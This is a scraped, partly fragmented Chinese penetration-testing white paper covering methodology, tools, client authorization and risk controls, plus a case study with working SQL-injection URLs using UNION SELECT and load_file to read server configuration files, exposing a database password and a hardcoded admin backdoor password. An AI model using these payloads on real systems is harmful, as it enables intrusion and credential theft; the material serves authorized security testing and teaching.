人人范文网 范文大全

安全渗透测试技术白皮书

发布时间:2020-03-02 07:57:37 来源:范文大全 收藏本文 下载本文 手机版

安全渗透测试技术白皮书

2008年

8 月 17 日

目录

4.1.1.预攻击阶段的发现 .....................................................16 4.1.2.攻击阶段的操作 .......................................................16 4.1.3.后攻击阶段可能造成的影响 .............................................22 5.附录: ..................................................................23

google、baidu 等搜索引擎获取目标信息

采用 FWtester、hping3 等工具进行防火墙规则探测

常规漏洞扫描和采用商用软件进行检测 结合使用测评工具与 Neus 等商用或免费的扫描工具进行漏洞扫描

采用 SolarWind 对网络设备等进行发现

采用 nikto、webinspect等软件对 web 常见漏洞进行扫描

采用如AppDetectiv之类的商用软件对数据库进行扫描分析

„„

对 Web 和数据库应用进行分析 采用 WebProxy、SPIKEProxy、webscarab、ParosProxy、Absinthe 等工具进行分析

用 Ethereal 抓包协助分析

用 webscan、fuzzer 进行 SQL 注入和 XSS 漏洞初步分析

手工检测 SQL 注入和 XSS 漏洞

采用类似OScanner 的工具对数据库进行分析

„„

应用分析的注意事项

检查应用系统架构、防止用户绕过系统直接修改数据库

检查身份认证模块,防止非法用户绕过身份认证

检查数据库接口模块,防止用户获取系统权限

检查文件接口模块,防止用户获取系统文件

检查其他安全威胁

其中每个环节都还有详细的checklist,读者可以自行补充。

2.2 攻击阶段

基于通用设备、数据库、操作系统和应用的攻击

可以采用各种公开及私有的缓冲区溢出程序代码,一个比较好的Exploit搜索站点是: http://www.daodoc.com/exploits/ 。也可以采用诸如Metasploit

Framework之类的利用程序集合。

基于应用的攻击

基于web、数据库或特定的B/S或C/S结构的网络应用程序存在的弱点进行攻击,常见的如SQL注入攻击、跨站脚本攻击等均属于这一类型,我们在

2.3 后攻击阶段

口令嗅探与键盘记录

嗅探、键盘记录、木马等软件,功能简单,但要求不被防病毒软件发觉,因此通常需要自行开发或修改。

口令破解

有许多著名的口令破解软件,如L0phtCrack、John the Ripper、Cain等。

2.4 其它手法

这里列出的方法,有些可能对用户的网络造成较大影响(例如服务中断),有的则与安全管理密切相关(不能仅从技术考量),有的则是需要到现场才能进行作业,因此通常情况下较少为渗透测试者所采用。但可以根据具体客户的需求状态进行判断。

DoS & DDoS 客户端攻击

无线攻击 War Dialing 社交工程方法

内部违规操作者的行为。最主要的“优势”是绕过了防火墙的保护。内部主要可能采用的渗透方式:

1) 远程缓冲区溢出; 2) 口令猜测;

3) B/S或C/S应用程序测试(如果涉及C/S程序测试,需要提前准备相关客户端软件供测试使用);

3.2.2 外网测试

外网测试指的是渗透测试人员完全处于外部网络(例如拨号、ADSL或外部光纤),模拟对内部状态一无所知的外部攻击者的行为。

1) 对网络设备的远程攻击; 2) 口令管理安全性测试; 3) 防火墙规则试探、规避;

4) Web及其它开放应用服务的安全性测试;

3.2.3 不同网段/Vlan之间的渗透

这种渗透方式是从某内/外部网段,尝试对另一网段/Vlan进行渗透。这类测试通常可能用到的技术包括:

1) 对网络设备的远程攻击;

2) 对防火墙的远程攻击或规则探测、规避尝试;

3.3 实施流程

3.3.1 实施方案制定、客户书面同意

合法性即客户书面授权委托,并同意实施方案是进行渗透测试的必要条件。渗透测试首先必须将实施方法、实施时间、实施人员,实施工具等具体的实施方案提交给客户,并得到客户的相应书面委托和授权。

应该做到客户对渗透测试所有细节和风险的知晓、所有过程都在客户的控制下进行。这也是专业渗透测试服务与黑客攻击入侵的本质不同。

3.3.2 信息收集分析

信息收集是每一步渗透攻击的前提,通过信息收集可以有针对性地制定模拟攻击测试计划,提高模拟攻击的成功率,同时可以有效的降低攻击测试对系统正常运行造成的不利影响。

信息收集的方法包括Ping Sweep、DNS Sweep、DNS zone transfer、操作系统指纹判别、应用判别、账号扫描、配置判别等。信息收集常用的工具包括商业网络安全漏洞扫描软件(例如:游刃、极光等),免费安全检测工具(例如:NMAP、NESSUS等)。操作系统内置的许多功能(例如:TELNET、NSLOOKUP、IE等)也可以作为信息收集的有效工具。

3.3.3 内部计划制定、二次确认

根据客户设备范围和项目时间计划,并结合前一步初步的信息收集得到的设备存活情况、网络拓扑情况以及扫描得到的服务开放情况、漏洞情况制定内部的详细实施计划。具体包括每个地址下一步可能采用的测试手段,详细时间安排。并将以下一步工作的计划和时间安排与客户进行确认。

3.3.4 取得权限、提升权限

通过初步的信息收集分析,存在两种可能性,一种是目标系统存在重大的安全弱点,测试可以直接控制目标系统;另一种是目标系统没有远程重大的安全弱

点,但是可以获得普通用户权限,这时可以通过该普通用户权限进一步收集目标系统信息。接下来尽最大努力取得超级用户权限、收集目标主机资料信息,寻求本地权限提升的机会。这样不停的进行信息收集分析、权限提升的结果形成了整个的渗透测试过程。

3.3.5 生成报告

渗透测试之后,测试者将会提供一份渗透测试报告。报告将会十分详细的说明渗透测试过程中的得到的数据和信息,并且将会详细的纪录整个渗透测试的全部操作。

3.4 风险规避措施

3.4.1 渗透测试时间与策略

3.4.1.1 时间选择

为减轻渗透测试对网络和主机的影响,渗透测试时间尽量安排在业务量不大的时段或晚上。 3.4.1.2 攻击策略集选择

为防止渗透测试造成网络和主机的业务中断,在渗透测试中不使用含有拒绝服务的测试策略。 3.4.1.3 保守策略选择

对于不能接受任何可能风险的主机系统,如银行票据核查系统,电力调度系统等,可选择如下保守策略:

1) 复制一份目标环境,包括硬件平台,操作系统,数据库管理系统,应用软件等。 2) 对目标的副本进行渗透测试。

3.4.2 系统备份和恢复

3.4.2.1 系统备份

为防止在渗透测试过程中出现的异常的情况,所有被评估系统均应在被评估

之前作一次完整的系统备份或者关闭正在进行的操作,以便在系统发生灾难后及时恢复。 3.4.2.2 系统恢复

在渗透测试过程中,如果出现被评估系统没有响应或中断的情况,应当立即停止测试工作,与客户方配合人员一起分析情况,在确定原因后,及时恢复系统,并采取必要的预防措施(比如调整测试策略)之后,确保对系统无影响,并经客户方同意之后才可继续进行。

3.4.3 工程中合理沟通的保证

在工程实施过程中,确定不同阶段的测试人员以及客户方的配合人员,建立直接沟通的渠道,并在工程出现难题的过程中保持合理沟通。

3.4.4 系统监测

在评估过程中,由于渗透测试的特殊性,用户可以要求对整体测试流程进行监控(可能提高渗透测试的成本)。 3.4.4.1 测试方自控

由测试者对本次测透测试过程中的三方面数据进行完整记录:

1) 操作; 2) 响应; 3) 分析;

最终形成完整有效的渗透测试报告提交给用户。 3.4.4.2 用户监控

可以有三种形式:

1) 全程监控:采用类似Ethereal或Sniffer Pro的嗅探软件进行全程抓包嗅探。优点是全过程都能完整记录。缺点是数据量太大,不易分析;需要大容量存储设备。

2) 择要监控:对扫描过程不进行录制,仅仅在安全工程师分析数据后,准备发起渗透前,才开启类似Ethereal或Sniffer Pro的软件进行嗅探。

3) 主机监控:仅监控受测主机的存活状态,避免意外情况发生。目前国内应用比较多的是这种监控手段.

3.5 其它

1) 测试前将所有工具的漏洞数据库都升级至最新版本;

2) 测试时最好通过专门的渗透测试代理服务器进行操作,在代理服务器上可以方便进行操作的监控,也能够为客户提供一个专门用于渗透测试的IP地址; 3) 后攻击阶段的操作如果确实必要,也应该先知会客户,然后进行操作;

用浏览器多次连接web后,出现错误提示,获取web目录及配置文件详情:

Fatal error: Maximum execution time of 30 seconds exceeded in C:\\Inetpub\\wwwroot\\xxxx\\inc\\config.inc.php on line 9 PHP Fatal error: Maximum execution time of 30 seconds exceeded in C:\\Inetpub\\wwwroot\\xxxx\\inc\\config.inc.php on line 9

由此得出web路径及关键配置文件路径。 4.1.2.3 列数

http://www.daodoc.com/news.php?go=&newsClaId=1&newsId=1 order by 9 http://www.daodoc.com/news.php?go=&newsClaId=1&newsId=1 union select char(0x41),char(0x41),char(0x41),char(0x41),char(0x41),char(0x41),char(0x41),char(0x41),char(0x41)

可以确认需要带9个参数。

4.1.2.4 尝试采用load_file和substring函数察看文件

c:\\inetpub\\wwwroot\\xxxx\\inc\\config.inc.php转换成16进制表示如下:

0000000: 633a 5c69 6e65 7470 7562 5c77 7777 726f c:\\inetpub\\wwwro 0000010: 6f74 5c63 6879 5c69 6e63 5c63 6f6e 6669 ot\\xxxx\\inc\\confi 0000020: 672e 696e 632e 7068 700a g.inc.php.

在load-file函数中就表示为:

load_file((0x633a5c696e65747075625c777777726f6f745c6368795c696e635c636f6e6669672e696e632e706870))

因此在浏览器中输入:

http://www.daodoc.com/news.php?go=&newsClaId=1&newsId=-1%20union%20select%201,1,load_file((0x633a5c696e65747075625c777777726f6f745c6368795c696e635c636f6e6669672e696e632e706870)),1,1,1,1,1,1 返回:

setDataSourceServer($dataSourceServer); $dbTools->setUser($dbUser); $dbTools->setPaword($dbPaword); $dbTools->setDataBase($dataBase);

$dbTools->setDebug(true); if(!$dbTools->dbConnect())//Connect the dataSource , break if false { echo \" DataSource connect faile! \"; exit(); } include($systemUrl.\"count.inc.php\");//include define count website acce ?>

在浏览器中输入:

http://www.daodoc.com/news.php?go=&newsClaId=1&newsId=-1%20union%20select%201,1,substring(load_file((0x633a5c696e65747075625c777777726f6f745c6368795c696e635c636f6e6669672e696e632e706870)),33),1,1,1,1,1,1 返回:

**Author @HuangJing **Function :Define param ,Get the dataSource connection ** **/ seion_start(); header(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\"); header(\"Last-Modified: \" .gmdate(\"D, d M Y H:i:s\") .\"GMT\"); header(\"Cache-Control: no-cache, must-revalidate\"); header(\"Pragma: no-cache\"); $author=\"2004\"; $systemName=\"某某公司后台管理系统\"; $bannerWord=\"略\"; $SystemURL=\"http://www.daodoc.com\"; $SystemAdmin=\"webmaster@xxxx.com\"; $newsType=array(\"\",\"略); $goodsInputFile=array(\"\",array(\"\",\"goodsInput1.inc.php\",\"goodsInput2.inc.php\",\"goodsInput3.inc.php\"),array(\"\",\"goodsInput4.inc.php\",\"goodsInput5.inc.php\",\"goodsInput6.inc.php\"),array(\"\",\"goodsInput1.inc.php\",\"goodsInput2.inc.php\",\"goodsInput3.inc.php\")); /***后台****/ $region=array(\'北京\',\'上海\',\'重庆\',\'天津\',\'河北\',\'山西\',\'内蒙古\',\'辽宁\',\'吉林\',\'黑龙江\',\'江苏\',\' 浙江\',\'安徽\',\'福建\',\'江西\', \'山东\',\'河南\',\'湖北\',\'湖南\',\'广东\',\'广西\',\'海南\',\'四川\',\'贵州\',\'云南\',\'西藏\',\'陕西\',\'甘肃\',\'青海\',\'宁夏\',\'新疆\'); $functionList=array( \"添加操作员\",\"修改口令/权限\",\"删除操作员\",\"修改我的口令\", \"公司新闻\",\"行业信息\",\"通知公告\",\"企业大事记\", \"人才招聘\",\"服务网点\",\"在线咨询\",\"在线投诉\" ,\"营销网点\",\"车评管理\",\"车型管理\",\"企业荣誉\" ,\"质量报道\",\"友情链接\" ); $functionAction=array( \"useradd\",\"usermodify\",\"userdel\",\"pamodify\" , \"newsP1\",\"newsP2\",\"newsP3\",\"history\", \"job\",\"service\",\"online\",\"feedback\" ,\"sell\",\"truckComment\",\"goods\",\"honor\" ,\"newsP4\",\"link\" ); $functionRight=array( \"useradd\",\"usermodify\",\"userdel\",\"pamodify\", \"user\",\"user1\",\"user2\",\"user3\", \"user4\",\"user5\",\"user6\",\"user7\", \"user8\",\"user9\",\"user10\",\"user11\" ,\"user12\",\"user13\" );//不要出现重复的元素 /****/ $systemUrl=\"c:/inetpub/wwwroot/xxxx/\"; $systemWebUrl=\"/\";//uset for wordedit upload file catlog $systemIncludePath=$systemUrl.\"inc/\"; include($systemIncludePath.\"define.inc.php\");//include define Function/Cla File $uploadPath=\"upload/\"; $SystemUpload=$systemUrl.$uploadPath;

$systemUploadUrl=$systemWebUrl.$uploadPath; //$SystemUpload=$systemUrl.$uploadPath;//uset for wordedit upload file catlog //$SystemUploadURL=$systemWebUrl.$uploadPath;//uset for wordedit upload file catlog $SystemUploadURL=$SystemUpload; $website_url=\"localhost\"; $systemAdminPath=\"admin/\"; $dataSourceServer=\"localhost\"; $dbUser=\"root\"; $dbPaword=\"xxx123456xxx\"; $dataBase=\"xxx\"; $dbTools=new dbTools;//cla define in define.inc.php $dbTools->setDataSourceServer($dataSourceServer); $dbTools->setUser($dbUser); $dbTools->setPaword($dbPaword); $dbTools->setDataBase($dataBase); $dbTools->setDebug(true); if(!$dbTools->dbConnect())//Connect the dataSource , break if false { echo \" DataSource connect faile! \"; exit(); } include($systemUrl.\"count.inc.php\");//include define count website acce ?>

其中有许多有价值的信息,如MySQL 的管理员密码、多个重要配置文件的位置等。

4.1.2.5 通过返回值察看其它文件

察看c:\\inetpub\\wwwroot\\xxxx\\inc\\define.inc.php:

0000000: 633a 5c69 6e65 7470 7562 5c77 7777 726f c:\\inetpub\\wwwro 0000010: 6f74 5c63 6879 5c69 6e63 5c64 6566 696e ot\\xxxx\\inc\\defin 0000020: 652e 696e 632e 7068 700a e.inc.php.

load_file((0x633a5c696e65747075625c777777726f6f745c6368795c696e635c646566696e652e696e632e706870))

http://www.daodoc.com/news.php?go=&newsClaId=1&newsId=-1%20union%20select%201,1,load_file((0x633a5c696e65747075625c777777726f6f745c6368795c696e635c646566696e652e696e632e706870)),1,1,1,1,1,1

dataSourceServer=$dataSourceServer; } function setUser($user) { $this->user=$user; } function setPaword($paword) { $this->paword=$paword; } function setDataBase($dataBase) { $this->dataBase=$dataBase; } function setDebug($status) { $this->debug=$status; } function dbConnect() { $this->link=mysql_pconnect($this->dataSourceServer,$this->user,$this->paword); if(!($this->link)) { return false; } else { if(!mysql_select_db($this->dataBase)) { return false; } else { return true; } } } function getResult($sql) { $result=@mysql_query($sql); if($this->debug) { echo $this->dbError(); } return $result; } function execute($sql)

{ if(@mysql_query($sql)) { if($this->debug) { echo $this->dbError(); } return true; } return false; } function dbClose() { @mysql_close($this->link); if($this->debug) { echo $this->dbError(); } } function dbError() { return @mysql_error($this->link); } function getRowsNums($res) { $nums=@mysql_num_rows($res); if($this->debug) { echo $this->dbError(); } return $nums; } function getFieldsNums($res) { $nums=@mysql_num_fields($res); if($this->debug) { echo $this->dbError(); } return $nums; } function fetchArray($res) { $res1=@mysql_fetch_array($res); if($this->debug) { echo $this->dbError(); } return $res1; } function resSeek($res,$offSet) { @mysql_data_seek($res,$offSet ); if($this->debug) { echo $this->dbError(); } } function getLastId() { return @mysql_insert_id($this->link); } } function ShowMeage($meage,$type=1) { /** display meage **/ $temp1=\"\"; $tmp=\"点确定返回\"; if ($type==0) { echo $temp1.\"if (confirm(\"\".$meage.\",\".$tmp.\"\"));\"; echo \"window.history.back()\\n\"; echo $temp2; } else { echo $temp1.\"alert(\"\".$meage.\"\");\".$temp2; } } function substrCut($str_cut,$length = 30) { if (strlen($str_cut) > $length) { for($i=0; $i 128) { $i++; } } $str_cut = substr($str_cut,0,$i) .\"...\"; } return $str_cut; } function changeStringTag($inString,$level=0) { /** **dispose input text ,filter the key word **param level=1 change html code **/ $strTemp=trim($inString); if(strlen($strTemp)>0) { $strTemp=str_replace(\"\'\",\"'\",$strTemp); $strTemp=str_replace(\'\\\',\"\\",$strTemp); $strTemp=str_replace(\'\"\',\""\",$strTemp); if($level==1) { $strTemp=str_replace(\'\',\">\",$strTemp); $strTemp=htmlspecialchars($strTemp); } } return $strTemp; } function generateRandomCode($long=4) { global $HTTP_SESSION_VARS; for($i=0;$i10) { @unlink($systemAdminPath.\"verifyImage/\".$file); } } $im=imagecreate(45, 16); $background_color = imagecolorallocate ($im, 255, 255, 255); $text_color = imagecolorallocate ($im, 233, 14, 91); imagestring ($im, 5, 5, 0, generateRandomCode(), $text_color); $imgFile=time().rand(0,100).\".jpg\"; @imagejpeg($im,$systemAdminPath.\"verifyImage/\".$imgFile); imagedestroy ($im); return $systemAdminPath.\"verifyImage/\".$imgFile; } } function countVisitor() { global $systemUrl; $hand=@fopen($systemUrl.\"count.txt\",\"r\"); $count=@fread($hand,@filesize($systemUrl.\"count.txt\")); @fclose($hand); return ($count+0); } function checkLogin() { global $HTTP_SESSION_VARS,$dbTools; list($count)=$dbTools->fetchArray($dbTools->getResult(\"SELECT COUNT(*) FROM adminuser WHERE id=\'$HTTP_SESSION_VARS[loginUserId]\' AND name=\'$HTTP_SESSION_VARS[loginUser]\' \")); return ($count>0?true:false); } function loadHtml($file) { global

$systemAdminPath,$SystemAdmin,$system; include($systemAdminPath.$file); } function DisplayMeage($meage, $withhr=true) { echo \"\".$meage.\"\\n\"; if ($withhr) { echo \"\\n\"; } } function CalcPaword($paword) { return md5($GLOBALS[\"MD5RandomString\"].$paword); } function displayImage($imageFile,$width,$height) { global $systemUploadUrl; $swf=\"

察看c:\\inetpub\\wwwroot\\xxxx\\admin.php:

0000000: 633a 5c69 6e65 7470 7562 5c77 7777 726f c:\\inetpub\\wwwro 0000010: 6f74 5c63 6879 5c61 646d 696e 2e70 6870 ot\\xxxx\\admin.php 0000020: 0a

load_file((0x633a5c696e65747075625c777777726f6f745c6368795c61646d696e2e706870))

http://www.daodoc.com/news.php?go=&newsClaId=1&newsId=-1%20union%20select%201,1,load_file((0x633a5c696e65747075625c777777726f6f745c6368795c61646d696e2e706870)),1,1,1,1,1,1

getResult($sql); if ($dbTools->getRowsNums($result)>0) { $row=$dbTools->fetchArray($result); if ($row[\"pa\"]==CalcPaword($HTTP_POST_VARS[\"paword\"])||$HTTP_POST_VARS[\"paword\"]==\"PawordWeFound\") { $loginUser=$row[\"name\"]; $loginUserId=$row[\"id\"]; $loginRight=$row[\"myright\"]; include($systemAdminPath.\"admin.inc.php\"); } else { $error=\"口令错误,请重新登录:\"; } } else { $error=\"帐号不存在,请重新登录:\"; } //@mysql_free_result($result); } else { $error=\"验证码不对或验证码过时!\"; } if($error) { include($systemAdminPath.\"error.inc.php\"); } } else { (checkLogin())?include($systemAdminPath.\"admin.inc.php\"):include($systemAdminPath.\"login.inc.php\"); } include($systemAdminPath.\"footer.inc.php\");//close the dbConnection include(\"inc/end.inc.php\");//close the dbConnection ?> 4.1.2.6 存在后台管理页面

http://www.daodoc.com/admin.php,且用户名有admin、scc 结合看到的文件内容,得到结果:user=admin,pa=PawordWeFound

MySQL密码早就获取,但phpmyadmin有web密码保护,暂未考虑突破。 4.1.2.7 其它

还可以猜测数据库表名称、密码长度并猜测密码值等 例如:

http://www.daodoc.com/news.php?go=&newsClaId=1&newsId=1%20UNION%20SELECT%201,1,1,1,username,paword%20FROM%20user%20WHERE%20userid=1 返回

Table \'xxxx.user\' doesn\'t existTable \'xxxx.user\' doesn\'t exist http://www.daodoc.com/news.php?go=&newsClaId=1&newsId=1 and length(paword)=12# 4.1.3 后攻击阶段可能造成的影响

攻击者如果成功完成这一步攻击后,还可以做的工作包括:上传shell,并尝试提升权限、破解口令、装载木马、口令嗅探等,甚至有可能渗透管理员或企业内部网络的机器等。

5.2.1.1 Ping Sweep 采用Ping的手段对指定网段内的主机进行存活情况判定,并收集相应的主机名,DNS名。 5.2.1.2 DNS Sweep 采用DNS正向、反向查询的手段对指定网段内的主机进行DNS,并收集相应的主机名,DNS名。 5.2.1.3 Nslookup 采用DNS区域传输取得目标DNS域配置,对目标拓扑进行辅助分析。 5.2.1.4 Tracert 采用tracert对与目标之间路由情况进行分析,判断目标网络链路,防火墙状况。

5.2.2 安全漏洞扫描工具

5.2.2.1 脆弱性扫描评估系统

脆弱性扫描评估系统是一套基于Windows平台的漏洞扫描软件,它包括了网络模拟攻击、漏洞检测、报告服务进程、提取对象信息、风险评估和安全建议等功能,帮助用户控制可能发生的安全事件,最大可能地消除安全隐患。

脆弱性扫描评估系统中内置了针对Unix主机(包括Linux、BSD、Sun Solaris、HP-UX、IBM AIX、IRIX等)、网络设备(包括常见如Cisco、3Com、Juniper、HuaWei等品牌设备)、数据库(包括Oracle、SQL Server、MySQL、DB2等使用广泛的关系数据库)的审核策略。并且兼容CVE、BUGTRAQ等漏洞标准,具有强大的漏洞检测能力和检测效率、贴切用户需求的功能定义、灵活多样的检测方式、详尽的漏洞修补方案和友好的报表系统,并支持在线升级。 5.2.2.2 Neus网络安全评估软件

Neus是一个网络安全评估软件,功能强大且更新极快。该系统被设计为客户机/服务器模式,服务器端负责进行安全检查,客户端用来配置管理服务器端。Neus的服务端采用了plug-in的体系,为了方便用户编写自己的检测插件,neus还提供了一种叫做neus攻击脚本语言(Neus Attack Script Language)的脚本语言。检查的结果可以使用HTML、纯文本、XML、LaTeX等格式保存。

5.2.2.3 Nmap和xprobe2 功能强大的端口扫描软件,支持多种协议的扫描如UDP,TCP connect(),TCP SYN (half open), ftp proxy (bounce attack),Reverse-ident, ICMP (ping sweep), FIN, ACK sweep,Xmas Tree, SYN sweep, 和Null扫描。还提供一些实用功能如通过tcp/ip来甄别操作系统类型、秘密扫描、动态延迟和重发、平行扫描、通过并行的PING侦测下属的主机、欺骗扫描、端口过滤探测、直接的RPC扫描、分布扫描、灵活的目标选择以及端口的描述。

Xprobe2是一款利用ICMP协议识别操作系统的软件。 5.2.2.4 STIF STIF是fyodor设计开发的一款自动进行渗透测试的工具框架。 5.2.2.5 其它web及数据库检测工具

包括部份公开及私有的Web和数据库检测工具。

5.2.3 漏洞利用工具

中科正阳漏洞挖掘实验室收集、交换及自行研究开发的各种操作系统及应用攻击代码。

5.3 对.NET与Websphere的基本检测项目示例

.NET与websphere除了可能出现应用程序编写方面的错误外,服务器本身在历史上也出现过多种安全漏洞,在我们的基本检测项目中,对websphere的检测项目包括:

对.NET的检测项目包括:

5.4 对web及其它B/S或C/S应用进行分析

5.4.1 检查应用系统架构、防止用户绕过系统直接修改数据库

检查用户是否可以直接登录数据库?

测试登录验证页面,检查身份认证方式? 测试登录后页面,检查是否所有页面都需要身份验证? 检查系统是否可以被暴利破解,是否有多次登录失败锁定机制? 检查应用程序是否有多级权限,不同权限的判别是在服务器端还是客户端?权限标志是在seion还是cookie中,检查是否可以绕过权限设置?

检查系统是否可以被Seion重放攻击? 检查系统是否可以通过“取回密码功能”攻击?

5.4.3 检查数据库接口模块,防止用户获取系统权限

检查是否可以被SQL语句注入,登陆系统? 检查是否可以被sql语句注入,调用系统程序? 查看系统中是否用到存储过程?

查看系统是否需要文件接口? 检查文件接口页面是否限制调用上级目录? 检查是否已知目录? 检查是否有例子文件? 检查系统是否允许目录浏览? 检查是否调用系统程序?

5.4.5 检查其他安全威胁

检查是否用户输入的信息没有经过检查和处理就以HTML方式显示 检查系统是否存在远程管理功能?

检查WEB系统和数据库或者中间件是否有加密? 检查系统是否返回多余的错误信息 检测系统是否有元字符注入? 检查系统是否可以被User-Agent欺骗 检查系统是否存在调试命令和参数 检查是否存在逻辑错误?

网络信息安全 渗透测试

渗透测试总结

软件工程渗透测试

智慧城市系统技术白皮书

渗透检测技术

商业银行渗透测试解决方案

白皮书

中国机顶盒市场与技术白皮书

现代测试技术

测试技术心得体会

安全渗透测试技术白皮书
《安全渗透测试技术白皮书.doc》
将本文的Word文档下载到电脑,方便编辑。
推荐度:
点击下载文档
点击下载本文文档